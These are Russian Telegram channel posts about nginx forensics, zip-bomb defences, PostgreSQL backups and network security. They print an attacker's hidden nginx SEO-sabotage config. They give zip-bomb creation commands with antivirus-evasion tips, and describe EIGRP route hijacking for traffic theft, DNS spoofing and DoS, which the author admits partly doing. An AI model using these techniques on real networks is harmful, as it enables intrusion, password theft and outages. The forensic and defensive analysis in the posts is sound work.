🥷 Джонни вещает: но как же посмотреть наш конфиг? (ч.3)

Если моя мысль верна и проблема только в переменной ngx_dump_config попробуем установить её c помощью gdb, благо ключик --with-cc-opt -g присутствует и надеемся, что оптимизация -O2 нам не помешает. При этом, раз я не знаю как ngx_dump_config могла быть обработана в case 'T':, не будем вызывать этот блок, а установим её используя case 't':

По шагам:
— устанавливаем точку останова в функции main()
— запускаем программу
— изменяем значение переменной определяющей вывод конфига ngx_dump_config=1
— продолжаем/завершаем программу

Как видим реальный конфиг отличается от нашего, выделяем из него паразитный кусок:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Рассмотрим по порядку что же здесь происходит, итак, определяются User-Agent'ы yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Исключаются служебные страницы wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

И для тех, кто попал под оба условия:

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

в тексте html-страницы изменяется 'о' на 'o' и 'а' на 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Именно так, тонкость только в том что 'а' != 'a' так же как и 'о' != 'o'(см. прикреплённое фото). Таким образом боты поисковых систем получают вместо нормального 100%-кириллического текста модифицированный мусор разбавленный латинскими 'a' и 'o'. Не берусь рассуждать, как это влияет на SEO, но вряд ли такая буквенная мешанина позитивно скажется на позициях в выдаче.

#Linux #nginx #unix | ✋ @iscode

Обычный день с СДВГ

#meme | 😊 @iscode

🥷 Джонни вещает: репозиторий 101 Linux Commands eBook

Содержит бесплатную электронную книгу, в которой собрано 101 базовых и продвинутых команд Linux.

Она ориентирована на пользователей, желающих улучшить свои навыки работы с Linux, и включает примеры использования, объяснения и полезные советы для каждой команды.
Это удобный ресурс для обучения и повседневной работы с системами на основе Linux.

• Basics;
- File Hierarchy Standard (FHS);
- Commands;
• Disk and File System Management;
- General Disk Manipulation (non-LVM);
- Globs (Wildcards);
- Regex;
- Stream redirection;
• Text Readers & Editors;
- Less;
- VI;
• User and Group Management;
• File System Permissions;
• SSH;
• Cronjobs;
• Package Management;
- RPM;
- YUM;
• List of commands by category:
- Directory Navigation;
- File Commands;
- File and Directory Manipulation;
- Package archive and compression tools;
- System commands;
- Networking Commands;
- Package Management;
- User Information commands;
- Session commands;
- Getting Help;
- Applications.

#repository #manual | 😏 @iscode

🥸 Взломай цензуру за 10 минут: искусство мимикрии в эпоху блокировок

Представьте: ваш VPN становится невидимкой для цензоров, маскируясь под обычный трафик Google. Никаких блокировок, никаких подозрений.

— В этой статье вы не просто узнаете, как настроить такой «стелс» за 10 минут через удобный 3x-UI интерфейс, но и поймёте, почему VLESS с XTLS-Reality — это золотой стандарт обхода запретов в 2025.

дорогие сабы, просьба, поставьте ↑ на Хабре, верю в вас

⤷ habr.com/ru/users/stein_osint/

#VPN #VLESS | 😈 @secur_researcher

🥷 Джонни вещает: сказ о том, как два сервера изменили судьбу сетевой команды

Жили были два сервера. Да и не сервера вовсе, а виртуальные машины. Жили не тужили, добро наживали, скриптами разными обрастали. Три года они трудились на славу облака да во имя автоматизации. Пока не наступили чёрные дни для RAID-массива на гипервизоре.

↘ habr.com

#Network #CICD #Automotization | 😏 @iscode

🥷 Проблема ботов и идея защиты, или о том как я использую zip-бомбы для защиты своего сервера

Основной объём трафика в вебе возникает из-за ботов. По большей части, эти боты используются для обнаружения нового контента. Это читалки RSS-фидов, поисковые движки, выполняющие краулинг вашего контента, а сегодня и боты ИИ, собирающие контент, чтобы скармливать его LLM. Но есть и зловредные боты. Их создают спамеры, скрейперы контента и хакеры. На моём прежнем месте работы бот обнаружил уязвимость Wordpress и встроил в наш сервер зловредный скрипт, а затем превратил машину в ботнет, используемый для DDOS.

— Один из моих первых веб-сайтов был полностью выдавлен из поиска Google из-за ботов, генерирующих спам. Мне нужно было найти способ защиты от этих ботов, поэтому я начал пользоваться zip-бомбами.

Zip-бомба — маленький сжатый файл, который при распаковке перегружает систему. Исторически сжатие (gzip) ускоряло загрузку страниц, уменьшая размер текста, CSS, JS. Браузеры и боты поддерживают сжатие через заголовок Accept-Encoding: gzip, deflate. Эту же особенность можно использовать против зловредных ботов.

Но как именно zip-бомбы ломают ботов? И как их создать, не навредив себе? К технической стороне перейдём в следующем посте.

#ZIP | 😊 @iscode

🥷 Проблема ботов и идея защиты, или о том как я использую zip-бомбы для защиты своего сервера(ч.2)

Механизм работы zip-бомб и их реализация:
Когда зловредный бот отправляет запрос, сервер имитирует успешный ответ (200 OK), но вместо реальных данных передаёт zip-бомбу. Ключевой момент — заголовок Content-Encoding: gzip, который заставляет бота автоматически распаковывать файл. Вот что происходит дальше:

Ловушка для бота
Большинство ботов слепо доверяют заголовкам сжатия. Получив файл, они начинают его распаковывать в память, не проверяя содержимое. Например, файл 10GB.gz весит всего 10 МБ, но содержит 10 ГБ нулевых байтов, сжатых многократно. Распаковка требует в 1000 раз больше памяти, чем исходный файл.
- Боты, написанные на языках с ручным управлением памятью (например, C/C++), крашатся из-за переполнения буфера.
- Скрипты на Python или Node.js выбрасывают исключения MemoryError, так как исчерпывают лимиты выделенной памяти.
- Даже если бот выживает, обработка гигабайтов "мусора" затягивает время выполнения, что делает атаку невыгодной для злоумышленника.

Технические нюансы создания zip-бомбы
Команда dd if=/dev/zero bs=1G count=10 | gzip -c > 10GB.gz работает так:

dd читает нулевые байты из /dev/zero блоками по 1 ГБ (10 блоков = 10 ГБ).

gzip сжимает данные, но из-за повторяющихся нулей степень сжатия максимальна.

Итоговый файл 10GB.gz будет многослойным: при распаковке он может генерировать вложенные архивы (если использовать рекурсивное сжатие), но в данном случае это простой поток нулей.

Важно! Современные антивирусы и системы анализа трафика могут блокировать такие файлы. Чтобы усложнить обнаружение, можно:
- Добавить случайные данные в начало файла.
- Использовать формат zlib вместо gzip.
- Создать бесконечно распаковывающийся архив через рекурсивное сжатие (например, с помощью pigz).

Интеграция с сервером

Для автоматизации защиты я добавил на сервер middleware, который:
- Проверяет IP по чёрному списку (например, через Fail2ban или базы вроде AbuseIPDB).
- Анализирует поведение: частоту запросов, подозрительные User-Agent (например, Python-urllib), попытки инъекций в URL.
- Использует ханипоты — фейковые страницы-ловушки, на которые попадают только боты (например, скрытые ссылки).

Пример логики на PHP:

// Проверяем признаки бота
$isMalicious = checkMaliciousPatterns($_SERVER['REQUEST_URI'])
|| isIPBlacklisted($_SERVER['REMOTE_ADDR'])
|| isUserAgentSuspicious($_SERVER['HTTP_USER_AGENT']);

if ($isMalicious) {
// Отправляем zip-бомбу
header("HTTP/1.1 200 OK");
header("Content-Encoding: gzip");
header("Content-Type: text/html"); // Маскируем под HTML
header("Content-Length: " . filesize($bombPath));
readfile($bombPath);
exit();
}

Zip-бомбы — это «грубая сила» в мире защиты от ботов. Они не заменят WAF (Web Application Firewall) или CAPTCHA, но станут дополнительным слоем обороны против простых атак.

🥷 Инструменты для работы с резервным копированием PostgreSQL

Базы данных — замечательный инструмент, без которого сложно представить современное приложение. И как бы сильно я ни любил использовать БД, я просто ненавижу писать SQL-запросы. Поэтому однажды задался вопросом, кто мог бы делать это за меня, при этом несильно теряя в качестве.

— Для начала рассмотрим несколько CLI-инструментов, которые позволят нам работать с резервными копиями

pg_dump <название БД>

Стандартная утилита для создания копий. Для лучшего понимания предлагаю вкратце ознакомиться с тем, как она реализована. Рассмотрим шаги внутренней работы:

Подключение к БД: авторизация такая же, как и у обычного клиента, используется библиотека С — libpq.
Чтение схемы: посредством запросов SELECT * FROM ...
Создание структуры: строится дерево объектов, которое затем преобразуется в соответствующий формат.
Сохранение данных: отдельно сохраняются данные из БД.
Запись в конечный файл: в зависимости от типа резервной копии сохраняется либо в бинарник, либо в текстовый файл всю копию, включающую структуру и данные.

Ключи:
-U имя пользователя
-h хост
-p порт
-F формат дампа: p (plain), c (custom), d (directory), t (tar)
-f путь к файлу вывода
-d название базы данных
--table=имя снять дамп только одной таблицы
--schema=имя только определённая схема
-v подробный вывод
--data-only только данные, без схемы
--schema-only только схема, без данных
--inserts использовать INSERT вместо COPY

pg_dumpall

По сути тот же pg_dump, но делает дамп сразу всего кластера. Однако отметим сразу, что данная утилита не поддерживает указание форматов, копия создаётся только в формате SQL. Давайте начнём также с реализации:

Подключение к БД: аналогично pg_dump.
Получение имён всех БД: посредством запросов SELECT datname FROM pg_database WHERE datallowconn.
Сохранение всех глобальных объектов.
Получение списка БД: вызывается команда pg_dump для каждой базы.
Создание общего файла дампа: все дампы объединяются в один поток вывода и записываются в файл аналогично pg_dump.

Ключи:
-U имя пользователя
-h хост
-p порт
-f файл вывода
-v подробный вывод
--globals-only только роли и настройки
--roles-only только роли
--data-only только данные

pg_restore <путь к дампу>

Инструмент для восстановления БД из дампа. Под капотом всё просто:

Чтение копии: считывается TOC (table of contents), определяется, в каком порядке необходимо восстанавливать данные.
Фильтрация: происходит по определённым параметрам, которые задаются при запуске утилиты.
Соединение с БД: посредством знакомой нам уже libpq. Также, если выбран многопоточный режим, то для каждого потока будет отдельное соединение.
Восстановление: исполнение SQL-команд.

Ключи:
-U имя пользователя
-h хост
-p порт
-d целевая база данных
-F формат (обычно не нужен — определяется автоматически)
-v подробный вывод
-c удалить объекты перед созданием
-C создать базу перед восстановлением
-j N параллельное восстановление (N — число потоков)
--list показать содержимое дампа
--schema восстановить только указанную схему
--table восстановить только указанную таблицу

В этом посте мы разобрались с CLI-инструментами, в следующем посте перейдём к формату дампов, поддержите реакцией.

@postgresql | 😊 @iscode

🥷 Резервное копирование PostgreSQL по-взрослому: форматы дампов

Ради этого мы тут все и собрались. Давайте погрузимся в возможности резервных копий. До этого вы могли наблюдать непонятный ключ -F, который позволяет указать формат. Всего в PostgreSQL есть 4 формата:
— plain (стандартный)
— custom
— tar
— dir

❗️ Теперь хочется познакомиться с каждым поближе, но перед этим обсудим одну очень важную для понимания разницы между форматами вещь — TOC.

TOC — Table of Contents, оглавление резервной копии, которое отражает, какой контент содержится в дампе, в каком порядке его нужно восстанавливать и какие есть зависимости между объектами.

1. Plain (текстовый SQL-файл)
Особенности:
— Текстовый формат, редактируемый и читаемый.
— Нет сжатия, выборочного восстановления и параллельной обработки.

pg_dump -Fp demo -f demo-plain

Результат:
Размер: ~888 МБ для БД 2.5 ГБ.
Время создания: ~8 сек.

2. Custom (бинарный формат с TOC)
Особенности:
— Сжатие, выборочное восстановление через pg_restore, параллельное восстановление.
— Нечитаемый формат без восстановления.

pg_dump -Fc demo -f demo.dump

Результат:
Размер: ~233 МБ.
Время создания: ~37 сек.

3. Tar (архив с SQL и данными)
Особенности:
— Удобен для транспортировки.
— Нет сжатия и параллельной работы, но есть выборочное восстановление.

pg_dump -Ft demo -f demo-tar

Результат:
Размер: ~888 МБ.
Время создания: ~11 сек.

4. Dir (каталог со сжатыми файлами)
Особенности:
— Параллельные дамп/восстановление (-j N), сжатие, высокая скорость для больших БД.
— Неудобен для ручного управления.

pg_dump -Fd demo -j 5 -f demo-dir-5

Результат:
Размер: ~233 МБ.
Время создания: ~18 сек (с 5 потоками).

🕹 Когда что использовать?
Plain — миграция между СУБД, ручное редактирование дампа.
Custom — регулярные бэкапы с минимизацией места.
Tar — резервирование с возможностью извлечения файлов без pg_restore.
Dir — большие БД, требующие скорости

@postgresql | 😊 @iscode

🥷 Джонни вещает: в поисках возможного взлома (ч.2)

Пренеприятнейшая история случилась с одним моим знакомым. Но насколько она оказалась неприятной для Михаила, настолько же занимательной для меня.

Запускаю сервер, сначала в rescue-mode. Монтирую диски, пролистываю auth-логи, history, системные логи и т.п., по возможности проверяю даты создания файлов, хотя понимаю, что нормальный взломщик «подмел» бы за собой, да и Миша уже знатно «натоптал» пока искал сам.

— Стартую в нормальном режиме, особо пока не понимая что искать, изучаю конфиги. В первую очередь интересует nginx так как, в общем-то, на фронтенде кроме него и нет ничего.
Конфиги небольшие, хорошо структурированые в десяток файлов, просматриваю их просто cat'ом по очереди. Вроде всё чисто, но мало-ли упустил какой-то include, сделаю-ка я полный листинг:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

🤔 Не понял: «Где листинг-то?»

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

😌 К вопросу о листинге добавляется второй: «Почему такая древняя версия nginx?»

К тому же система считает, что версия установлена свежее:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server

— Миш, ты зачем пересобирал nginx?
— Окстись, я даже не знаю как это сделать!
— Ok, ну, спи…

Nginx однозначно пересобран и вывод листинга по "-T" скрыт неспроста. Сомнений во взломе уже нет и можно это просто принять и (раз уж Миша всё-равно заменил сервер новым) посчитать проблему решенной.

— И действительно, раз уж некто получил права root'а, то имеет смысл делать только system reinstall, а искать, что там было набедокурено бесполезно, но в этот раз любопытство победило сон. Как же узнать что от нас хотели скрыть?

Попробуем оттрассировать:
$ strace nginx -T

Просматриваем, в трассировке явно не хватает строк а-ля
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "\n", 1

Ради интереса сравниваем выводы

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Думаю, что часть кода /src/core/nginx.c

case 't':
ngx_test_config = 1;
break;

case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;

была приведена к виду:

case 't':
ngx_test_config = 1;
break;

case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;

или

case 't':
ngx_test_config = 1;
break;

case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;

поэтому листинг по "-T" не отображается.

Жду от вас реакшена и выкладываю уже третью часть этой истории 💵

#Linux #nginx #unix | ✋ @iscode

🥷 Джонни вещает: в поисках возможного взлома (ч.3)

Пренеприятнейшая история случилась с одним моим знакомым. Но насколько она оказалась неприятной для Михаила, настолько же занимательной для меня.

Если моя мысль верна и проблема только в переменной ngx_dump_config попробуем установить её c помощью gdb, благо ключик --with-cc-opt -g присутствует и надеемся, что оптимизация -O2 нам не помешает. При этом, раз я не знаю как ngx_dump_config могла быть обработана в case 'T':, не будем вызывать этот блок, а установим её используя case 't':

По шагам:
– устанавливаем точку останова в функции main()
– запускаем программу
– изменяем значение переменной определяющей вывод конфига ngx_dump_config=1
– продолжаем/завершаем программу

Как видим реальный конфиг отличается от нашего, выделяем из него паразитный кусок:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

🔍 Рассмотрим по порядку что же здесь происходит.

Определяются User-Agent'ы yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Исключаются служебные страницы wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

И для тех, кто попал под оба вышеперечисленных условия

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

в тексте html-страницы изменяется 'о' на 'o' и 'а' на 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Именно так, тонкость только в том что 'а' != 'a' так же как и 'о' != 'o'

Таким образом боты поисковых систем получают вместо нормального 100%-кириллического текста модифицированный мусор разбавленный латинскими 'a' и 'o'.

#Linux #nginx #unix | ✋ @iscode

🥷 Джонни вещает: варианты эксплуатации ошибки v.2

1. Украсть трафик: это банально. Подняв у себя EIGRP, я тут же подхватил их таблицу маршрутизации. Имея ее в наличии, легко узнать, какая подсеть свободна, прописать ее на своем маршрутизаторе и получить не лимитированный по трафику или скорости канал. Этим я немного попользовался.

2. Захватить любую из используемых подсетей клиентов: Можно прописать на своем маршрутизаторе любую из присутствующих в таблице маршрутизации подсетей. Если разбить эту подсеть на несколько, с более длинным префиксом, тогда трафик пойдет на вас, а не на клиента провайдера.

— Тут может быть много вариантов использования. К примеру, можно эффективно скрывать следы своей нелегальной деятельности. Для проверки концепции я реально захватывал IP адреса dialup клиентов. Их не жалко, если что, они могут заново подключиться и получить другой IP.
— Другой пример – захватить на время IP адреса DNS серверов провайдера и подменить клиентам провайдера DNS сервер на свой. В этом случае можно даже (о, ужас!!!) красть пароли от одноклассников. Конечно, это сложно сделать так, чтобы вас не вычислили, но сейчас разговор не об этом.

🌟 А давайте задумаемся, какие симптомы сбоя видит клиент, чью сеть захватывают. Для проверки я развернул GNS3. Вот сеть (см. фото 1)

А вот, что происходит при наличии на R1 маршрута с более длинным префиксом до прописанной на его интерфейсе подсети — 192.168.0.0/24, и в случае, когда его нет (см. фото 2)

Клиент просто не видит свой default gateway на третьем уровне. Поэтому, если вы очень злой, то, к примеру, можно устроить красивый, наглый и изощренный DoS сетевым администраторам провайдера, лишив их возможности управлять своей же сетью.

Знаете ли вы, что “true одмины” провайдера любят сидеть в белой подсети, за надежным firewall-ом, который сами же сконфигурировали? При этом возможность доступа на управление устройствами сети есть только из этой подсети. Конечно, не всегда, но так часто делают.

🕹 Чтобы осуществить атаку, надо узнать в какой подсети они сидят. Для этого можно отправить сетевому администратору провайдера ссылку на прикольную картинку на вашем сервере. А когда в ответ придет несколько смайлов, посмотреть IP адрес по логам сервера. Можно использовать и другие подобные методы, социальную инженерию еще никто не отменял.

— Дальше разбить эту подсеть несколько подсетей и прописать их на своем маршрутизаторе. Все, ахтунг обеспечен, у сетевых администраторов провайдера пропал интернет. Со стороны администраторов провайдера покажется, что упал их default gateway. То есть, MAC его виден, но он не пингуется и не доступен на портах управления (telnet, ssh, www). Можно, разве что, подключиться по консоли. Сложно вычислить даже то, что вас атакуют, это больше похоже на аппаратный сбой, или сбой операционной системы на маршрутизаторе. Жестоко, но красиво, правда?

❗️ Мониторинг изменения в маршрутизации не зря считается лучшей практикой. Конечно, не следует давать громкое оповещение, когда в сети меняются маршруты, но IMHO, стоит настроить оповещение о том, что в сети появился новый, участвующий в динамической маршрутизации, маршрутизатор.

#Network #Routing | 😊 @iscode

🥷 Дыра в щите Cloudflare: как атака на Jabber.ru вскрыла проблему, о которой молчат c 2023

Думаю, многие помнят позапрошлогодний инцидент с Man-in-the-Middle атакой на XMPP-сервис jabber.ru. Эта история наделала много шума, но, как мне кажется, главный вывод из неё так и не был усвоен широкой аудиторией. А зря. Потому что эта атака вскрыла системную уязвимость в процессе выдачи TLS сертификатов, которая напрямую касается миллионов сайтов, особенно тех, кто доверяет свою безопасность Cloudflare.

Разбор полетов: инцидент с jabber.ru

— Для тех, кто пропустил или забыл, краткий пересказ:

Что произошло? В течение нескольких месяцев (как минимум с июля по октябрь 2023 года) весь трафик крупнейшего российского XMPP-сервиса jabber.ru перехватывался и расшифровывался. Атакующие смогли получить полностью валидные TLS сертификаты от Let's Encrypt для доменов jabber.ru и xmpp.ru.

Как это сделали? Это не был взлом серверов. Атака была реализована на уровне сети хостинг-провайдеров — Hetzner и Linode. Злоумышленники (предположительно, это была операция в рамках "законного перехвата" государственными акторами) перенастроили маршрутизацию так, что весь трафик, предназначенный серверам jabber.ru, включая запросы на валидацию домена от Let's Encrypt, шёл через их инфраструктуру.

🕹 Перехватив запросы валидации (вероятнее всего, http-01 или tls-alpn-01), они успешно доказали удостоверяющему центру (УЦ) LE, что контролируют домен, и получили легитимные сертификаты. Обнаружили атаку случайно, когда один из мошеннических сертификатов истёк и не был вовремя продлён, что вызвало у пользователей ошибки подключения.

Имхо, ключевой момент здесь — уязвимость не в протоколе XMPP и не в самом УЦ Let's Encrypt. Уязвимость кроется в базовом механизме подтверждения владения доменом (Domain Validation, DV).

В следующем посту начнём с техликбеза по CAA, RFC 8657, накидайте 🔥

#Cloudflare #DNS #MITM | 😊 @iscode